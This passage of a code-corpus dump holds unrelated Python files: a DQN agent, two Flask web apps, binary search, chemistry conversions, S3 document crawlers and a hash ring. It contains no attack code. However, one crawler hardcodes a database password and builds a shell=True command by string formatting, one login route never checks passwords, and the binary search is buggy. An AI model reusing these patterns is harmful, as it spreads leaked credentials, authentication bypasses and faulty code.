tf.placeholder(tf.float32, [None, ], name='s_') # input Next State\n\n with tf.variable_scope('target_value'):\n target_tensor = self.reward + self.gamma * (1 - self.is_done) * tf.reduce_max(self.target_network.output_tensor, axis=1)\n target_tensor = tf.stop_gradient(target_tensor)\n #print(self.reward.shape.as_list())\n with tf.variable_scope('state_value'):\n #value_tensor = tf.reduce_sum(self.value_network.output_tensor * self.action)\n batch_size = tf.shape(self.action)[0]\n a_indices = tf.stack([tf.range(batch_size, dtype=tf.int32), self.action], axis=1)\n value_tensor = tf.gather_nd(params=self.value_network.output_tensor, indices=a_indices) # shape=(None, )\n tf_op.variable_summaries(value_tensor, 'select_state_q_value')\n\n assert_op = tf.assert_rank(self.value_network.output_tensor, 2)\n with tf.control_dependencies([assert_op]):\n for i in range(self.action_dim):\n out = tf.slice(self.value_network.output_tensor, [0, i], [batch_size, 1])\n tf_op.variable_summaries(out, 'state_{}_q_value'.format(i))\n #print(self.value_tensor.shape.as_list())\n with tf.variable_scope('square_loss'):\n diff = tf.squared_difference(target_tensor, value_tensor)\n self.loss = tf.reduce_mean(diff)\n tf.summary.scalar('loss', self.loss)\n with tf.variable_scope('train'):\n optimizer = tf.train.AdamOptimizer(self.learning_rate)\n self.train_op = tf_op.truncated_grads(optimizer, self.loss, 1.0)\n\n # for tensorboard\n self.merged = tf.summary.merge_all()\n\n # for update target netwrok\n with tf.variable_scope('update_target_network'):\n target_params = self.target_network.params\n value_params = self.value_network.params\n self.hard_target_network_updater = tf.group(*[tf.assign(target_params[key], value_params[key]) for key in target_params])\n self.soft_target_network_updater = tf.group(*[tf.assign(target_params[key], 0.99 * target_params[key] + 0.01 * value_params[key]) for key in target_params])\n\n def choose_action(self, state):\n # to have batch dimension when feed into tf placeholder\n state = state[np.newaxis, :]\n\n if np.random.uniform() < self.epsilon:\n action = np.random.randint(0, self.action_dim)\n else:\n # forward feed the observation and get q value for every actions\n action_value = self.value_network.get_output_value(state)\n action = np.argmax(action_value)\n if self.epsilon > self.epsilon_min:\n self.epsilon *= self.epsilon_decay\n return action\n\n def learn(self, state, action, reward, next_state, is_done):\n _, loss, summary = self.sess.run([self.train_op, self.loss, self.merged], feed_dict={\n self.state: state,\n self.action: action,\n self.reward: reward,\n self.next_state: next_state,\n self.is_done: is_done,\n })\n if self.step % self.target_update_threshold == 0:\n #self.sess.run(self.soft_target_network_updater)\n self.sess.run(self.hard_target_network_updater)\n self.step += 1\n return summary\n\ndef test():\n import shutil; shutil.rmtree('gym_logs', True)\n import gym\n env = gym.make(\"CartPole-v1\")\n print(env.observation_space)\n print(env.action_space)\n print(env.action_space.sample())\n state_dim = 4\n action_dim = 2\n #print(env.action_space.sample())\n with tf.Session() as sess:\n with tf.variable_scope('target_network'):\n ipt = tf.placeholder(tf.float32, shape=(None, state_dim))\n target_network = neural_network.MLP(sess, ipt, [20, action_dim], ['relu', 'none'])\n with tf.variable_scope('value_network'):\n ipt = tf.placeholder(tf.float32, shape=(None, state_dim))\n value_network = neural_network.MLP(sess, ipt, [20, action_dim], ['relu', 'none'])\n net = DQN(\n sess = sess,\n value_network=value_network,\n target_network=target_network,\n learning_rate=0.1,\n epsilon_init=1,\n epsilon_decay=0.999,\n epsilon_min=0.01,\n gamma=0.999,\n target_update_threshold=32,\n )\n buff = replay_buffer.ReplayBuffer(50000)\n batch_size = 128\n start_learn = batch_size\n render_time = 1\n max_step_time = 500\n writer = tf.summary.FileWriter('gym_logs', sess.graph)\n\n sess.run(tf.global_variables_initializer())\n\n for i_episode in range(100000):\n observation = env.reset()\n reward_sum = 0\n for t in range(max_step_time):\n if len(buff) > start_learn and i_episode % render_time == 0:\n env.render()\n\n action = net.choose_action(observation)\n next_observation, reward, done, info = env.step(action)\n reward_sum += reward\n buff.add(observation, action, reward, next_observation, done)\n if len(buff) > start_learn:\n #net.learn(observation, action, reward, next_observation, done)\n summary = net.learn(*buff.sample(batch_size))\n writer.add_summary(summary, i_episode)\n observation = next_observation\n if done or t == max_step_time - 1:\n if 'avg' not in locals():\n avg = reward_sum\n else:\n avg = 0.99 * avg + 0.01 * reward_sum\n print('i_episode:', i_episode, 'avg:', avg, 'reward_sum:', reward_sum)\n summary = tf.Summary(value=[tf.Summary.Value(tag='epsilon', simple_value=net.epsilon)])\n writer.add_summary(summary, i_episode)\n summary = tf.Summary(value=[tf.Summary.Value(tag='finished timesteps', simple_value=t + 1)])\n writer.add_summary(summary, i_episode)\n summary = tf.Summary(value=[tf.Summary.Value(tag='reward_sum', simple_value=reward_sum)])\n writer.add_summary(summary, i_episode)\n break\n","sub_path":"models/deepq_network.py","file_name":"deepq_network.py","file_ext":"py","file_size_in_byte":7581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"526731987","text":"from flask import Flask, request, render_template, flash, redirect, url_for\nfrom flask_login import (LoginManager, login_required, login_user,\n current_user, logout_user, UserMixin)\nfrom functools import wraps\nfrom flask import g, request, redirect, url_for\nfrom app import SignUpForm, LoginForm, EditForm\nfrom app import GoalsForm\nfrom .models import Goals, User\nfrom app import app, session, lm\n\ncurrent_user_id = -1\n\n@lm.user_loader\ndef user_loader(user_id):\n return session.query(User).get(user_id)\n\n@app.before_request\ndef before_request():\n g.user = current_user\n\ndef login_required(f):\n @wraps(f)\n def decorated_function(*args, **kwargs):\n if g.user is None:\n return redirect(url_for('login', next=request.url))\n return f(*args, **kwargs)\n return decorated_function\n\n@app.route(\"/\")\ndef index():\n return render_template('index.html')\n\ndef flash_errors(form):\n for field, errors in form.errors.items():\n for error in errors:\n flash(u\"Error in the %s field - %s\" % (\n getattr(form, field).label.text,\n error\n ), 'error')\n\n\n@app.route(\"/login\", methods=['POST', 'GET'])\ndef login():\n error = None\n form = LoginForm(request.form)\n if form.validate():\n user = session.query(User).filter_by(email=form.email.data).first()\n global current_user_id\n current_user_id = user.id\n if form.email.data == form.email.data:\n return redirect(url_for('viewentries'))\n else:\n flash_errors(form)\n print(\"Sign Up\")\n return render_template('login.html', form=form)\n\n\n@app.route(\"/logout\", methods=[\"GET\"])\n@login_required\ndef logout():\n user = current_user\n user.authenticated = False\n #session.add(user)\n #session.commit()\n logout_user()\n return render_template(\"index.html\")\n\n\n@app.route(\"/signup\", methods=['POST', 'GET'])\ndef signup():\n form = SignUpForm(request.form)\n if request.method == 'POST' and form.validate():\n user = User(form.firstname.data, form.lastname.data, form.username.data, form.email.data,\n form.password.data)\n session.add(user)\n session.commit()\n flash('Account Created')\n return redirect(url_for('login'))\n else:\n flash_errors(form)\n return render_template('signup.html', form=form)\n\n\n@app.route(\"/setgoals\", methods=['POST', 'GET'])\n@login_required\ndef setgoals():\n form = GoalsForm(request.form)\n if request.method == 'POST' and form.validate():\n new = Goals(form.body.data, form.tags.data, current_user_id)\n print (\"User id: \"+ str(current_user_id))\n session.add(new)\n session.commit()\n flash('Goal added')\n return redirect(\"viewentries/\")\n else:\n flash_errors(form)\n return render_template('goals.html', form = form)\n\n@app.route(\"/viewentries/\", methods=['GET'])\n@app.route(\"/viewentries/\", methods=['GET'])\n@login_required\ndef viewentries(id=None):\n entry_rows = None\n if id is not None:\n entry_rows = session.query(Goals).filter(Goals.id==id)\n else:\n entry_rows = session.query(Goals).filter_by(user_id=current_user_id)\n entries = []\n for entry in entry_rows:\n entries.append({\n \"id\": entry.id,\n \"body\": entry.body,\n \"tags\": entry.tags\n })\n return render_template('viewentries.html', entries=entries)\n \n@app.route(\"/edit/\", methods=['GET', 'POST'])\n@login_required\ndef edit(id):\n goals = session.query(Goals).first()\n form = EditForm(obj= goals)\n if request.method == 'POST' and id == id:\n goals.body = form.body.data\n goals.tags = form.tags.data\n session.populate(goals)\n session.commit()\n flash('Goal reviewed')\n return redirect(url_for('viewentries', Goals.id == id))\n else:\n flash_errors(form)\n return render_template('edit.html', form=form)\n\n","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"140534647","text":"def binarySearch(alist, value):\n\n first = 0\n last = len(alist)-1\n found = False\n while first<=last and not found:\n midpoint = (first + last)//2\n if value == alist[midpoint]: \n found = True \n else:\n if value < alist[midpoint]:\n last = midpoint-1\n else:\n if value > midpoint:\n first = midpoint+1 \n return found\n\nif binarySearch([1,2,3,4,5,6,7,8],9):\n print (\"found\")\nelse:\n print(\"Not found\")\n\n\n# # Iterative Binary Search Function \n# # It returns location of x in given array arr if present, \n# # else returns -1 \n# def binarySearch(arr, l, r, x): \n \n# while l <= r: \n \n# mid = l + (r - l)/2; \n \n# # Check if x is present at mid \n# if arr[mid] == x: \n# return mid \n \n# # If x is greater, ignore left half \n# elif arr[mid] < x: \n# l = mid + 1\n \n# # If x is smaller, ignore right half \n# else: \n# r = mid - 1\n \n# # If we reach here, then the element was not present \n# return -1\n \n \n# # Test array \n# arr = [ 2, 3, 4, 10, 40 ] \n# x = 10\n \n# # Function call \n# result = binarySearch(arr, 0, len(arr)-1, x) \n \n# if result != -1: \n# print (\"Element is present at index %d\" % result )\n# else: \n# print (\"Element is not present in array\")","sub_path":"algorithmns/binary_search.py","file_name":"binary_search.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"624425298","text":"import periodictable as pt\r\nfrom scipy import constants\r\n\r\n\r\nclass Conversions:\r\n async def mass_to_moles(ctx, element, original_mass: float, sig_figs: int):\r\n x = getattr(pt, element, 'element not on periodic table')\r\n molar_mass = x.mass\r\n answer = f'{round((original_mass / molar_mass), sig_figs)} moles'\r\n return answer\r\n\r\n\r\n\r\n def moles_to_mass(ctx, element, moles: float, sig_figs: int):\r\n x = getattr(pt, element, 'element not on periodic table')\r\n molar_mass = x.mass\r\n answer = (f'{round((moles * molar_mass), sig_figs)} grams')\r\n return answer\r\n\r\n\r\n\r\n async def mass_to_units(ctx, element, mass: float, sig_figs: int, units):\r\n x = getattr(pt, element, 'element not on periodic table')\r\n molar_mass = x.mass\r\n moles = mass / molar_mass\r\n avo_num = constants.N_A\r\n result = moles * avo_num\r\n answer = (f'{result:.{sig_figs}e} {units}')\r\n return answer\r\n\r\n\r\n\r\n async def units_to_mass(ctx, element, coef: float, exponent: float, sig_figs, units):\r\n avo_num = constants.N_A\r\n x = getattr(pt, element, 'element not on periodic table')\r\n molar_mass = x.mass\r\n single_unit_final_num = (coef * 10 ** exponent)\r\n moles = single_unit_final_num / avo_num\r\n answer = (f'{round((moles * molar_mass), sig_figs)} {units}')\r\n return answer\r\n\r\n\r\n\r\n async def units_to_moles(ctx, coef: float, exponent: float, sig_figs: int):\r\n avo_num = constants.N_A\r\n single_unit_final_num = (coef * 10 ** exponent)\r\n result = (single_unit_final_num / avo_num)\r\n answer = (\r\n f'{result:.{sig_figs}e} moles') \r\n return answer\r\n\r\n\r\n\r\n async def moles_to_units(ctx, moles, sig_figs, units):\r\n avo_num = constants.N_A\r\n result = moles * avo_num\r\n answer = (f'{result:.{sig_figs}e} {units}')\r\n return answer\r\n","sub_path":"src/unit-conversions.py","file_name":"unit-conversions.py","file_ext":"py","file_size_in_byte":1929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"542304221","text":"from picroast import app\nfrom .security import instagramRedirect\nfrom bson.objectid import ObjectId\nfrom flask import request, render_template, make_response, redirect, session, url_for\nfrom pprint import pprint\nfrom pymongo import MongoClient\n\nimport pymongo.errors as e\n\nimport os\nimport random\n\n# Charset for game code generation\ncodeChars = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789\"\n\n# developer helper routes\n\n@app.route('/clear', methods=['GET'])\ndef clearSessionForTesting():\n session.clear()\n return redirect(url_for('index'))\n\n############ Generic Routes ##############\n\n# Route to send window tab icon\n@app.route('/favicon.ico', methods=['GET'])\ndef favicon():\n return app.send_static_file('images/TransparentBackgroundLogo.png')\n\n# route to send static files in general\n@app.route('/static//', methods=['GET'])\ndef genericStaticFiles(folder, file):\n filePath = str(folder) + '/' + str(file)\n return app.send_static_file(filePath)\n\n# Index route, create a user, authenticate in instagram if needed\n\n@app.route('/', methods=['GET'])\ndef index():\n if 'user_id' in session:\n return redirect(url_for('frontpage'))\n else:\n # Give them a form to provide a name for their temporary user_id\n return app.send_static_file('html/newUser.html')\n\n\n@app.route('/main', methods=['GET'])\ndef frontpage():\n if 'user_id' in session:\n client=MongoClient(app.config['DB_URL'])\n db=client.picroast\n\n # Grab the user from the session and get their data from db\n user_id = ObjectId(session.get('user_id'))\n resultset = list(db.users.find({'_id' : user_id}))\n assert len(resultset) == 1\n userdata = resultset[0]\n\n # If we have their access token already, move on to main menu\n if 'access_token' in userdata:\n resp_dict = {}\n resp_dict['user_id'] = user_id\n resp_dict['user_name'] = session.get('user_name')\n resp_dict['user'] = userdata['user']\n print(userdata['access_token'])\n return render_template('mainMenu.html', **resp_dict)\n # Otherwise, get them to authenticate through instagram\n else :\n return instagramRedirect()\n else:\n return redirect(url_for('index'))\n\n@app.route('/terms', methods=['GET'])\ndef termsAndConditions():\n return app.send_static_file('html/terms.html')\n\n############ Game start routes ############\n\n# Route to create a new game and redirect to game lobby\n@app.route('/newgame', methods=['GET'])\ndef newgame():\n if 'user_id' not in session:\n return redirect(url_for('index'))\n\n client=MongoClient(app.config['DB_URL'])\n db=client.picroast\n\n # Generate a game code\n gameCode = \"\"\n foundNewCode = False\n\n while not foundNewCode:\n gameCode = \"\"\n while len(gameCode) < 9:\n if len(gameCode) == 4:\n gameCode += \"-\"\n randIndex = random.randint(0, len(codeChars) - 1)\n gameCode += codeChars[randIndex]\n\n #Check Mongodb for this gameCode\n result = list(db.games.find({'gameCode': gameCode}))\n if len(result) < 1:\n foundNewCode = True\n\n # TODO add the userid to the games inside the players object for the db\n user = session['user_id']\n players = {user: 'not ready'}\n insertdict = {'players': players, 'status': 'lobby', 'gameCode': gameCode}\n gameID = db.games.insert(insertdict)\n return redirect(url_for('groupRoastRoom', gameID=str(gameID), userID=user))\n\n@app.route('/joingame', methods=['GET'])\ndef joingame():\n if 'user_id' not in session:\n return redirect(url_for('index'))\n elif 'gameCode'not in request.args:\n return \"You must specify a game to join\"\n\n client=MongoClient(app.config['DB_URL'])\n db=client.picroast\n\n gameCode = request.args.get('gameCode')\n\n gameResult= list(db.games.find({'gameCode' : gameCode}))\n\n if len(gameResult) == 0:\n return \"Sorry but that game doesn't exist\"\n elif len(gameResult) > 1:\n return \"Duplicate gameIDs, check database\"\n\n # Get the current set of players in the game\n game = gameResult[0]\n players = game['players']\n # players is a dict of user ids mapped to their status ('ready' ,'not ready', etc)\n # More statuses coming based on game needs as it's developed.\n user = session['user_id']\n\n # Add the user to the set of players in this game with status 'not ready'\n # will be set to 'ready' when the react app loads\n players[user] = 'not ready'\n gameID = game['_id']\n db.games.update({'_id': gameID}, {'$set' : {'players': players}})\n\n # Redirect to React app\n return redirect(url_for('groupRoastRoom', gameID=str(gameID), userID=str(user)))\n\n\n@app.route('/room/groupRoast/')\ndef groupRoastRoom(gameID):\n\n # Check if the user is logged in\n if 'user_id' not in session:\n session['postAuthLink'] = '/room/groupRoast/' + gameID\n return instagramRedirect()\n #Check if the userID is in query params to be scraped by react app\n if 'userID' not in request.args:\n return redirect(url_for('groupRoastRoom', gameID=gameID, userID=session['user_id']))\n\n return app.send_static_file('html/groupRoast.html')\n","sub_path":"picroast/pages.py","file_name":"pages.py","file_ext":"py","file_size_in_byte":5249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"292670077","text":"import logging\nimport traceback\nfrom pathlib import Path\n\nimport requests\nimport yaml\n\nfrom bauh.api.http import HttpClient\nfrom bauh.gems.web import URL_SUGGESTIONS, TEMP_PATH, SEARCH_INDEX_FILE, SUGGESTIONS_CACHE_FILE\n\n\nclass SuggestionsDownloader:\n\n def __init__(self, http_client: HttpClient, logger: logging.Logger):\n super(SuggestionsDownloader, self).__init__()\n self.http_client = http_client\n self.logger = logger\n\n def download(self) -> dict:\n self.logger.info(\"Reading suggestions from {}\".format(URL_SUGGESTIONS))\n try:\n suggestions = self.http_client.get_yaml(URL_SUGGESTIONS, session=False)\n\n if suggestions:\n self.logger.info(\"{} suggestions successfully read\".format(len(suggestions)))\n else:\n self.logger.warning(\"Could not read suggestions from {}\".format(URL_SUGGESTIONS))\n\n except (requests.exceptions.ConnectionError, requests.exceptions.ConnectTimeout):\n self.logger.warning(\"Internet seems to be off: it was not possible to retrieve the suggestions\")\n return {}\n\n return suggestions\n\n\nclass SearchIndexGenerator:\n\n def __init__(self, logger: logging.Logger):\n self.logger = logger\n\n def generate_index(self, suggestions: dict):\n self.logger.info('Caching {} suggestions to the disk'.format(len(suggestions)))\n\n try:\n Path(TEMP_PATH).mkdir(parents=True, exist_ok=True)\n except:\n self.logger.error(\"Could not generate the directory {}\".format(TEMP_PATH))\n traceback.print_exc()\n return\n\n try:\n with open(SUGGESTIONS_CACHE_FILE, 'w+') as f:\n f.write(yaml.safe_dump(suggestions))\n\n self.logger.info('{} successfully cached to the disk as {}'.format(len(suggestions), SUGGESTIONS_CACHE_FILE))\n except:\n self.logger.error(\"Could write to {}\".format(SUGGESTIONS_CACHE_FILE))\n traceback.print_exc()\n return\n\n self.logger.info('Indexing suggestions')\n index = {}\n\n for key, sug in suggestions.items():\n name = sug.get('name')\n\n if name:\n split_name = name.lower().strip().split(' ')\n single_name = ''.join(split_name)\n\n for word in (*split_name, single_name):\n mapped = index.get(word)\n\n if not mapped:\n mapped = set()\n index[word] = mapped\n\n mapped.add(key)\n\n if index:\n self.logger.info('Preparing search index for writing')\n\n for key in index.keys():\n index[key] = list(index[key])\n\n try:\n self.logger.info('Writing {} indexed keys as {}'.format(len(index), SEARCH_INDEX_FILE))\n with open(SEARCH_INDEX_FILE, 'w+') as f:\n f.write(yaml.safe_dump(index))\n self.logger.info(\"Search index successfully written at {}\".format(SEARCH_INDEX_FILE))\n except:\n self.logger.error(\"Could not write the seach index to {}\".format(SEARCH_INDEX_FILE))\n traceback.print_exc()\n","sub_path":"bauh/gems/web/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":3227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"205217","text":"from tabulate import tabulate\n\nscenarios = [{\"id\": 1, \"name\": \"default scenario 1\", \"description\": \"Description for scenario 1\", \"source\": \"default\"},\n {\"id\": 2, \"name\": \"default scenario 2\", \"description\": \"Description for scenario 2\", \"source\": \"default\"},\n {\"id\": 3, \"name\": \"default scenario 3\", \"description\": \"Description for scenario 3\", \"source\": \"default\"},\n {\"id\": 4, \"name\": \"user defined scenario 1\", \"description\": \"Description for scenario 4\", \"source\": \"user_defined\", \"file_name\": \"default_scenario_name_1.py\"}]\n\n\ndefault_scenario_headers = [\"id\", \"name\", \"description\"]\ndefault_scenario_table_data = []\n\nuser_defined_headers = [\"id\", \"name\", \"description\", \"file_name\"]\nuser_defined_table_data = []\n\nfor scenario in scenarios:\n if scenario[\"source\"] == \"default\":\n default_scenario_table_data.append([scenario[\"id\"], scenario[\"name\"], scenario[\"description\"]])\n if scenario[\"source\"] == \"user_defined\":\n user_defined_table_data.append([scenario[\"id\"], scenario[\"name\"], scenario[\"description\"], scenario[\"file_name\"]])\n\n\nprint(tabulate(default_scenario_table_data, headers=default_scenario_headers, tablefmt=\"fancy_grid\"))\n\nprint(tabulate(user_defined_table_data, headers=user_defined_headers, tablefmt=\"fancy_grid\"))","sub_path":"tabulate/table.py","file_name":"table.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"51175982","text":"import json\nimport logging\nimport re\nimport requests\nimport subprocess\nfrom lxml import etree\nfrom urlparse import urljoin\nfrom werkzeug.utils import secure_filename\nimport six\n\nimport dataset\nimport Levenshtein\n\nfrom aleph.crawlers import Crawler, TagExists\n\n\n\nlog = logging.getLogger(__name__)\n\nNS = '{http://s3.amazonaws.com/doc/2006-03-01/}'\nBUCKET = 'https://s3-eu-west-1.amazonaws.com/downloads.openoil.net/?prefix=contracts/'\n\n\n# dataset\n\ndburl='postgresql://openoil:EJLENtQZ2Lp766wB9tD8@127.0.0.1/sedar'\nengine = dataset.connect(dburl)\n\n\nclass S3Crawler(Crawler):\n\n LABEL = \"AWS\"\n MAXITEMS = 20000\n OFFSET = 0\n\n def crawl(self):\n self.crawlbucket(\n bucket = self.BUCKET,\n prefix = self.PREFIX,\n maxitems = self.MAXITEMS + self.OFFSET)\n \n def collect_metadata(self, filename):\n meta = {}\n if 'oil/' in filename:\n meta['industry'] = 'oil'\n else:\n meta['industry'] = 'unknown'\n if 'material_document' in filename:\n meta['document_type'] = 'material document'\n year_co = re.search('(\\d{4})/(\\d{6,9})/\\d+/', filename)\n if year_co:\n meta['date'] = year_co.group(1)\n meta['sedar_company_id'] = year_co.group(2)\n return meta\n\n def crawlbucket(self, bucket, prefix, maxitems=2000):\n cmd = \"aws s3api list-objects --bucket %s --prefix %s --max-items %s --query 'Contents[].{Key:Key}'\" % (bucket, prefix, maxitems)\n logging.warn('running %s' % cmd)\n keylist = json.loads(subprocess.check_output(cmd, shell=True))\n for d in keylist[self.OFFSET:]:\n logging.warn('working on %s' % d['Key'])\n url ='http://%s.s3.amazonaws.com/%s' % (bucket, d['Key'])\n meta = self.collect_metadata(d['Key'])\n\n try:\n self.check_tag(url=url)\n self.emit_url(\n url,\n meta = meta)\n except TagExists:\n logging.info('skipping existing file %s' % url)\n pass\n\n \nclass SedarCrawler(S3Crawler):\n LABEL = 'SEDAR'\n BUCKET = 'sedar.openoil.net'\n PREFIX = 'mining_material_'\n SITE = 'http://openoil.net'\n MAXITEMS = 100000\n #OFFSET = 6970\n OFFSET=0 # XXX we should go back and check the \n\n def collect_metadata(self, filename):\n return {}\n meta = {}\n if 'oil/' in filename:\n meta['industry'] = 'oil'\n elif 'mining_material' in filename:\n meta['industry'] = 'mining'\n else:\n meta['industry'] = 'unknown'\n if 'material_document' in filename:\n meta['document_type_basic'] = 'material document'\n year_co = re.search('(\\d{4})/(\\d{6,9})/\\d+/', filename)\n if year_co:\n meta['date'] = year_co.group(1)\n meta['sedar_company_id'] = year_co.group(2)\n\n dbrow = db_best_filename_match(filename)\n if dbrow:\n for dbname, esname in (\n ('date', 'date'),\n ('format', 'format'),\n ('document_type', 'type'),\n ('filesize', 'size'),\n ('industry', 'industry'),\n ('publication_time', 'time'),\n ('source_url', 'tos_form'),\n ):\n if esname in dbrow:\n meta[dbname] = dbrow[esname]\n logging.debug('added db metadata for %s' % filename)\n return meta\n\n \n\n\ndef build_mining_comp_list():\n fn = '/data/openoil_old/mining/companies_by_sic.txt'\n compdict = {}\n for row in open(fn):\n parts = row.split('\\t')\n compdict[parts[0]] = parts[1]\n return compdict\n\nEDGAR_COMPANIES = build_mining_comp_list()\n\n \nclass OOEdgarCrawler(S3Crawler):\n '''\n ingest the data we already have from edgar\n To be replaced with pudo's standard version, when\n we can wait a week to download everything\n '''\n LABEL = 'EDGAR Mining (extracted text only)'\n BUCKET = 'sec-edgar.openoil.net'\n SECTOR = 'oil'\n #PREFIX = 'oil/edgar_filings_text_by_company/'\n PREFIX = 'oil/edgar_filings_text_by_company/1000229'\n SITE = 'http://openoil.net'\n MAXITEMS=2000000\n \n def collect_metadata(self, filepath):\n # XXX writeme\n #filepath = 'mining/edgar_filings_text/944893/13D_1995-05-05_0000912057-95-003174.txt_extracted_0.txt'\n metadata = {\n 'industry': filepath.split('/')[0],\n 'sector': self.SECTOR,\n 'company_id': filepath.split('/')[2],\n }\n if metadata['company_id'] in EDGAR_COMPANIES:\n metadata['company_name'] = EDGAR_COMPANIES[metadata['company_id']]\n filename = filepath.split('/')[-1]\n exhibit_num = re.search('(\\d+).txt$', filepath).group(1)\n metadata['exhibit_number'] = str(int(exhibit_num) + 1)\n metadata['filing_type'], metadata['date'] = filename.split('_')[:2]\n\n filenum = re.search('_([\\d\\-]+).txt_extracted_', filepath).group(1)\n filenum_short = ''.join(filenum.split('-'))\n metadata['source_url']= 'http://www.sec.gov/Archives/edgar/data/%s/%s/%s-index.htm' % (metadata['company_id'], filenum_short, filenum)\n return metadata\n\n\ndef db_best_filename_match(url):\n '''\n from the filename, find the (most likely) corresponding item in the db\n\n there's a lot of faff here -- to make sense of it, look at the processes\n in scrape.py in the sedar repo, which is what we are reversing\n '''\n \n fnregex = '([^/]*/[^/]*/)([^/]*$)'\n filingdir, filename = re.search(fnregex, url).groups() # no error handling\n like_filingdir = '%%%s%%' % filingdir\n docs_in_dir = engine.query(\"select * from filing_index where filing like (:like_filingdir)\", like_filingdir=like_filingdir)\n\n def fn_distance(dbrow):\n rawfn = dbrow['filing'].split('/')[-1]\n fnversion = secure_filename(\n # this is to match the manipultion in scrape.py in the sedar repo\n six.moves.urllib.parse.unquote(rawfn))\n return Levenshtein.distance(str(fnversion), str(filename))\n try:\n return min(docs_in_dir, key=fn_distance)\n except ValueError: #empty list -- no match in db\n logging.warning('could not find match for %s in db' % url)\n return None\n\n \n\ndef test_sedar_metadata():\n sampleurl = 'http://sedar.openoil.net.s3.amazonaws.com/oil/oil_material_documents_2013/02147049/00000001/kCorpSedarTmpSGPDonnycreek2013FilingsUnderwritingAgreement.pdf'\n return db_best_filename_match(sampleurl)\n","sub_path":"oocrawlers/sedar.py","file_name":"sedar.py","file_ext":"py","file_size_in_byte":6600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"493115962","text":"import collections, bisect\n\nclass ConsistentHashRing:\n # add virtual node to improve spread / balance\n VIRTUAL_NODES_PER_NODE = 1000\n\n def __init__(self):\n self.nodehashes = []\n self.hashes_to_node = dict()\n\n def add_node(self, node):\n for i in range(self.VIRTUAL_NODES_PER_NODE):\n h = hash(node * self.VIRTUAL_NODES_PER_NODE + i)\n bisect.insort(self.nodehashes, h)\n self.hashes_to_node[h] = node\n\n def remove_node(self, node):\n # sanity check if node exists\n h = hash(node)\n del self.hashes_to_node[h]\n self.nodehashes.remove(h)\n\n def findmatch(self, key):\n h = hash(key)\n i = bisect.bisect_left(self.nodehashes, h)\n if i == len(self.nodehashes):\n i = 0\n return self.hashes_to_node[self.nodehashes[i]]\n\nif __name__ == '__main__':\n ITEMS = 1000000\n NODES = 100\n chr = ConsistentHashRing()\n for i in range(1, NODES+1):\n chr.add_node(i)\n itemhashes = []\n for i in range(1, ITEMS+1):\n itemhashes.append(chr.findmatch(i))\n\n # balance\n counter = collections.Counter(itemhashes)\n print(f\"{min(counter.values())} to {max(counter.values())} assignments per node, target was {ITEMS//NODES}\")\n\n # move ratio\n chr.add_node(NODES+1)\n moved = 0\n for i in range(ITEMS):\n if itemhashes[i] != chr.findmatch(i):\n moved += 1\n print(f\"{moved} items moved, {moved/ITEMS*100}\")\n","sub_path":"domainKnowledge/consistentHashRing.py","file_name":"consistentHashRing.py","file_ext":"py","file_size_in_byte":1470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"105214776","text":"# encoding: utf-8\n\nimport argparse\nimport json\nimport os.path\n\nfrom nltk.translate import bleu_score\nimport numpy\nimport six\n\nimport chainer\nfrom chainer import cuda\nfrom chainer.dataset import convert\nfrom chainer import reporter\nfrom chainer import training\nfrom chainer.training import extensions\n\nimport preprocess\nimport net\n\nfrom subfuncs import VaswaniRule\n\nfrom natto import MeCab\n\ndef seq2seq_pad_concat_convert(xy_batch, device, eos_id=0, bos_id=2):\n \"\"\"\n Args:\n xy_batch (list of tuple of two numpy.ndarray-s or cupy.ndarray-s):\n xy_batch[i][0] is an array\n of token ids of i-th input sentence in a minibatch.\n xy_batch[i][1] is an array\n of token ids of i-th target sentence in a minibatch.\n The shape of each array is `(sentence length, )`.\n device (int or None): Device ID to which an array is sent. If it is\n negative value, an array is sent to CPU. If it is positive, an\n array is sent to GPU with the given ID. If it is ``None``, an\n array is left in the original device.\n\n Returns:\n Tuple of Converted array.\n (input_sent_batch_array, target_sent_batch_input_array,\n target_sent_batch_output_array).\n The shape of each array is `(batchsize, max_sentence_length)`.\n All sentences are padded with -1 to reach max_sentence_length.\n \"\"\"\n\n x_seqs, y_seqs = zip(*xy_batch)\n\n x_block = convert.concat_examples(x_seqs, device, padding=-1)\n y_block = convert.concat_examples(y_seqs, device, padding=-1)\n xp = cuda.get_array_module(x_block)\n\n # The paper did not mention eos\n # add eos\n x_block = xp.pad(x_block, ((0, 0), (0, 1)),\n 'constant', constant_values=-1)\n for i_batch, seq in enumerate(x_seqs):\n x_block[i_batch, len(seq)] = eos_id\n x_block = xp.pad(x_block, ((0, 0), (1, 0)),\n 'constant', constant_values=bos_id)\n\n y_out_block = xp.pad(y_block, ((0, 0), (0, 1)),\n 'constant', constant_values=-1)\n for i_batch, seq in enumerate(y_seqs):\n y_out_block[i_batch, len(seq)] = eos_id\n\n y_in_block = xp.pad(y_block, ((0, 0), (1, 0)),\n 'constant', constant_values=bos_id)\n return (x_block, y_in_block, y_out_block)\n\n\ndef source_pad_concat_convert(x_seqs, device, eos_id=0, bos_id=2):\n x_block = convert.concat_examples(x_seqs, device, padding=-1)\n xp = cuda.get_array_module(x_block)\n\n # add eos\n x_block = xp.pad(x_block, ((0, 0), (0, 1)),\n 'constant', constant_values=-1)\n for i_batch, seq in enumerate(x_seqs):\n x_block[i_batch, len(seq)] = eos_id\n x_block = xp.pad(x_block, ((0, 0), (1, 0)),\n 'constant', constant_values=bos_id)\n return x_block\n\n\nclass 